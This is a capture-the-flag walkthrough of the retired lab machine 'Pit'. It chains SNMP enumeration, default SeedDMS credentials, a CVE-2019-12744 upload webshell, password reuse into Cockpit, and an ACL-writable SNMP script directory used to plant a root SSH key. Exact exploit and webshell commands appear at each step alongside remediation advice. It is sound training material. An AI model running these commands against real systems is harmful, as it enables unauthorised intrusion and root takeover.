Pit
Summary
I scanned all four exposed services — SSH, nginx, Cockpit, and SNMP — and found the target answering SNMP queries with the default 'public' community string. Walking the SNMP MIB leaked the internal path of a SeedDMS document-management install and the name of a root-run monitoring script.
SeedDMS accepted the well-known default credential '[REDACTED: recovered credential][REDACTED: recovered credential]', and an authenticated document-upload vulnerability (CVE-2019-12744) gave PHP code execution under the nginx web account: nginx ignores .htaccess, so the file-upload block SeedDMS ships is silently inert. Reading SeedDMS's own configuration file through that webshell yielded the database password in plain text, and the same password — reused — authenticated [REDACTED: recovered credential] to the Cockpit web terminal, providing an interactive shell.
A POSIX ACL gave [REDACTED: recovered credential] write permission on the directory whose scripts the root-owned SNMP monitoring daemon runs on demand. Dropping a script there that appended my SSH public key to /root/.ssh/authorized_keys, then issuing an SNMP walk to trigger execution, produced direct root SSH access.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80,9090 $TARGETnmap -sU --top-ports 25 --open $TARGETecho "$TARGET dms-pit.htb pit.htb" | sudo tee -a /etc/hostsExact commands 2
snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.2021.9snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.8072.1.3.2FixReplace the default SNMP community string and restrict what SNMP exposes to the networkHigh
Exact commands 2
python3 50062.py -u $PASSWORD2 -p $PASSWORD2 --url http://dms-pit.htb/seeddms51x/seeddmscurl -sG --data-urlencode 'cmd=id' 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php'FixPatch SeedDMS and block PHP execution in the document storage directory at the nginx levelCritical
Exact commands 1
curl -sG --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php'FixRemove plain-text credentials from web-accessible configuration filesHigh
Exact commands 2
curl -sk -u "$PASSWORD2:$PASSWORD" -H 'X-Authorize: ' https://pit.htb:9090/cockpit/loginpython3 cockpit_exec.py 'id; whoami'FixUse unique passwords per service — never share application credentials with system accountsHigh
Exact commands 4
python3 cockpit_exec.py 'getfacl -p /usr/local/monitoring'ssh-keygen -t ed25519 -N '' -f /tmp/pit_rootpython3 cockpit_exec.py 'printf "#!/bin/bash\nmkdir -p /root/.ssh\nprintf \"%s\\n\" \"<contents-of-pit_root.pub>\" >> /root/.ssh/authorized_keys\n" > /usr/local/monitoring/check_key.sh && chmod +x /usr/local/monitoring/check_key.sh'snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.8072.1.3.2 > /tmp/pit-trigger.outFixRemove unprivileged write access from the SNMP-triggered monitoring script directoryCritical
Exact commands 1
ssh -i /tmp/pit_root -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=8 root@$TARGET 'id; whoami; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.0 (protocol 2.0) |
| 80/tcp | http nginx 1.14.1 |
| 9090/tcp | http Cockpit web service 221 - 253 |
| 161/udp | snmp |